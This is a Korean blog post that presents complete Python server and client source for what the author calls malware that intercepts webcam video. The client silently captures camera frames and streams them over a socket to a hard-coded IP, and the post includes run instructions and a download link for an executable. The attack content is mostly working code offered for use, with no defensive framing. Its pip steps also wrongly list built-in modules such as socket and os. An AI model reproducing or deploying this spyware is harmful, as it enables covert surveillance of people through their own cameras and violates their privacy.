🧽Python/~2021.01
웹캠 정보 가로채기 [ 파이썬 ]
개발환경 >> Pycharm
언어 >>Python3.9.1
운영체제 >> Windows10
おはようごじいます~!(안녕하세요)
일본어공부중이라서 한번써봤어요(ㅈㅅ...ㅎ)
일단 이번에 만들거는 파이썬기반의 웹캠정보 가로채는 악성코드입니다.
소스코드및 설명은 하단에 적어놨으며,
다운로드는 밑에 링크를 눌러주세요!
다운로드된 exe파일 실행방법:
우선 기본적으로 파이썬이 설치되어있어야한다.
pip install opencv_python
pip install socket
pip install numpy
pip install os
를 해야한뒤,
몇초뒤 클라이언트,서버 둘다 입력이 가능한 콘솔창이 뜰텐데
거기다가 서버의 내부아이피주소를 입력한다.
그럼 ... 시작합니다!
{[ 서버 ]}
#Receiver
import cv2
import socket
import numpy as np
def BytesFromFrameAndRecv(client):
datasize = int(client.recv(64).decode()) #데이터 크기
data = client.recv(datasize) #데이터
ret = np.frombuffer(data, dtype = 'uint8') #배열->이미지
frame = cv2.imdecode(ret, cv2.IMREAD_COLOR) #이미지 디코딩
return frame
def main():
IP = "192.168.219.100"
PORT = 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT))
server.listen(20)
client,addr = server.accept()
while cv2.waitKey(2) != ord(' '): #키입력으로 종료
frame = BytesFromFrameAndRecv(client) #함수실행
cv2.imshow('Server', frame) #화면 띄우기
cv2.destroyAllWindows()
if __name__ == '__main__':
main()
{[ 클라이언트 ]}
#Sender
import cv2
import socket
import numpy as np
def FrameToBytesAndSend(client, frame):
ret, bin = cv2.imencode('.jpg', frame, [int(cv2.IMWRITE_JPEG_QUALITY),64]) #이미지 인코딩
arr = np.array(bin) #배열
client.send(str(len(arr)).ljust(64).encode()) #이미지크기 전송
client.send(arr) #이미지 전송
def main():
IP = "192.168.219.100"
PORT = 8080
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((IP, PORT))
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read() #이미지데이터 받기
FrameToBytesAndSend(client, frame) #함수실행
cap.release()
cv2.destroyAllWindows()
if __name__ == '__main__':
main()
{[ 시연영상 ]}
그럼 궁금한 부분있으면 댓글로 질문주세요
안녕!
'🧽Python > ~2021.01' 카테고리의 다른 글
유튜브 다운로더 만들기 - 파이썬 Python (0) | 2020.11.29 |
---|---|
멀티 서바이벌게임 만들기 Python #1 (10) | 2020.11.14 |
Tkinter 파이썬 강좌 [1] (0) | 2020.10.03 |
댓글